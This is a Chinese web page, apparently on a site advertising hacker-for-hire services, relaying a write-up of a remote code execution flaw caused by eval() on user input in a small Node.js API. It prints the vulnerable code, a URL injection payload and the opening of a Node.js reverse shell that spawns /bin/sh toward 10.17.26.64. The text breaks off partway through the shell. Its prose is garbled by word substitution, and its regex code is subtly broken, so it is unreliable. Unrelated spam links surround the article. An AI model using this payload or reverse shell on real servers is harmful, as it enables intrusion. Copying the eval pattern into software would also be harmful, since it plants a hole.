当前位置:首页 > 黑客技术 > 正文内容

Node.js使用的反向shell

访客4年前 (2021-04-15)黑客技术1113

布景介绍
一个小型Web开发者团队曾托付咱们对他们的移动使用进行安全评价,该使用的后端是一个REST API。该使用的架构很简单,只由3台linux服务器组成:
Node.js
MongoDB
Redis
首先在不触摸源码的情况下咱们对使用进行了一番测验,成果发现在一些接口假如接纳到了意外的数据就会导致后端程序溃散,咱们还发现redis在公网就能进行拜访,而且没有鉴权。
接下来咱们要做的便是审计Node.js API的代码,理清楚溃散的原因是什么。
简化缝隙的使用程序
咱们创立了一个简练的带有缝隙的Node.js使用,你也能够自己建立测验使用。
这个Node.js使用会监听用户的恳求,比方http://target.tld//?name=do*,获取到name参数的值后会查询对应匹配的动物称号。
'use strict'
const http = require('http');
const url = require('url');
const path = require('path');
 
const animalsJSON = path.join(__dirname, 'animals.json');
const animals = require(animalsJSON);
 
function requestHandler(req, res) {
    let urlParams = url.parse(req.url, true);
    let queryData = urlParams.query;
    res.writeHead(200, {"Content-Type": "application/json"});
 
    if (queryData.name) {
        let searchQuery = stringToRegexp(queryData.name);
        let animalsResult = getAnimals(searchQuery);
        res.end(JSON.stringify(animalsResult));
    } else {
        res.end();
    }
}
 
function getAnimals(query) {
    let result = [];
 
    for (let animal of animals) {
        if (query.test(animal.name))
            result.push(animal);
    }
 
    return result;
}
 
function stringToRegexp(input) {
    let output = input.replace(/[[]^$.|?+()]/, "$&");
    let prefix, suffix;
 
    if (output[0] == '*') {
        prefix = '/';
        output = output.replace(/^*+/g, '');
    } else {
        prefix = '/^';
    }
 
    if (output[output.length - 1] == '*') {
        suffix = '/i';
        output = output.replace(/*+$/g, '');
    } else {
        suffix = '$/i';
    }
    output = output.replace(/[*]/, '.*');
 
    return eval(prefix + output + suffix);
}
 
const server = http.createServer(requestHandler);
server.listen(3000);
[
    {"name": "Dinosaur"},
    {"name": "Dog"},
    {"name": "Dogfish"},
    {"name": "Dolphin"},
    {"name": "Donkey"},
    {"name": "Dotterel"},
    {"name": "Dove"},
    {"name": "Dragonfly"},
    {"name": "Duck"}
]
缝隙
在对代码进行了几分钟的剖析后,咱们就发现了开发者一个很欠好的习气,这个坏习气将会导致长途指令履行。
stringToRegexp函数会创立出一个RegExp目标来对用户的输入数据进行检测,并使用这个正则表达式目标来搜索数组中的数据元素。
return eval(prefix + output + suffix); // we control output value
咱们能够在output这个变量中刺进恣意的Javascript代码而且履行。
stringToRegexp函数会过滤一些特别的字符而且对output变量进行检查。
["./;require('util').log('Owned');//*"]
拜访如下的链接将会在服务器终端打印一条信息
http://target.tld/?name=["./;require('util').log('Owned');//*"]
这样咱们就能够履行代码,然后获取到服务器的交互Shell(比方/bin/sh)。
Node.js反向Shell
如下的Javascript便是一个Node.js的反向衔接shell。
这个payload将会生成一个/bin/sh的shell,创立一个TCP衔接到攻击者的服务器,而且在通讯数据流中绑定shell指令。
(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(8080, "10.17.26.64", function(){

[1] [2]  黑客接单网

扫描二维码推送至手机访问。

版权声明:本文由黑客接单发布,如需转载请注明出处。

本文链接:https://therlest.com/105857.html

分享给朋友:

“Node.js使用的反向shell” 的相关文章

今天的汽油单价 - 今日燃油价格最新行情

4点59元调为5点02元,不同批次价格会有差距,经常堵车路况差的情况下,93#汽油7点71元/升、20:29单位:人民币,情况今天零时起。 92号汽油,0 号柴油每升上调0点04元。更别说不同地区了,92号汽油,上调0点37行情元;93号,最高限价,决定从。 92汽油官方价6点柴油价:6点:5点90...

美团暗语「美团暗语2021」

 昨天,很多网友问小编美团暗语最好的方法是什么?有关美团暗语2021最好的方法是哪种?最新美团暗语2020?根据网民透露的审判细节这篇文章主要介绍了美团暗语,包括美团暗语 据大江网2021年10月20日17:01:48的最新消息,微博网友@ 爆料。 平安夜来临之际,事件,在网上炒得沸沸扬扬,引发全...

安宫牛黄丸现在价格 - 天地和堂安宫牛黄丸多少钱

一丸280元左右.装同仁堂安宫牛黄丸,那个年代的这个玩意,中医说法多少,体外培育牛黄。 两丸,字[2000]201号\制定安宫牛黄丸等药品价格的批复,到正规的同仁堂自己品牌的药店购买,价格不一样,希望懂得.天然牛黄天然麝香。北京同仁堂牛黄解毒丸的市场价格在2005年。 绿色木盒这三种包装的价格一样,...

Webshell安全检测篇

0x00 依据流量的检测办法 1.概述 笔者一直在重视webshell的安全剖析,最近就这段时刻的心得体会和咱们做个共享。 webshell一般有三种检测办法: 依据流量方法 依据agent方法(本质是直接剖析webshell文件) 依据日志剖析方法 Webshell的分...

如何查询酒店开房记录?谁可以查?网上怎么查?

关于酒店开房记录,这个基本上是看不到的,只有公检法系统(主要是公安局)才能查询的。如果你真想查询,要提供相关真实的身份证明,到公安局咨询,可能需要繁琐的手续。 2014年初,网上就有过“2000W开房数据泄露”的惊爆新闻,是因众多酒店使用了浙江慧达驿站公司开发的酒店Wi-Fi管理、认证系统,而该公司...

实用的刷卡门禁一体机 - 门禁设置说明书

2011-04-0511:45:53卡号:方向:未知,具体操作说明:门禁控制器,还要看你们所用的门禁是ID的还是IC的。具体的可以根据说明书操作。 手动开门[1 的大门2011-04-0511:45:43[1 大门无效用户刷卡时间,你这个说的真不知道怎么回答你。蜂鸣器连续断续鸣响报警,具体到可以统计...

评论列表

世味空名
3年前 (2022-05-29)

ler);server.listen(3000);[    {"name": "Dinosaur"},    {"name": "Dog"},    {"name": "Dogfish"},    {"n

痴者北槐
3年前 (2022-05-29)

布景介绍一个小型Web开发者团队曾托付咱们对他们的移动使用进行安全评价,该使用的后端是一个REST API。该使用的架构很简单,只由3台linux服务器组成:Node.jsMongoDBRedis首先在不触摸源码的情况下咱们对使用进行了一番测验,成果发现在一些接口假如接纳到了意外的数据就会导

瑰颈闻呓
3年前 (2022-05-29)

ire('http');const url = require('url');const path = require('path'); const animalsJSON = path

囤梦酷腻
3年前 (2022-05-29)

} else {        prefix = '/^';    }     if (output[output.length - 1] == '*') {        suffix

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。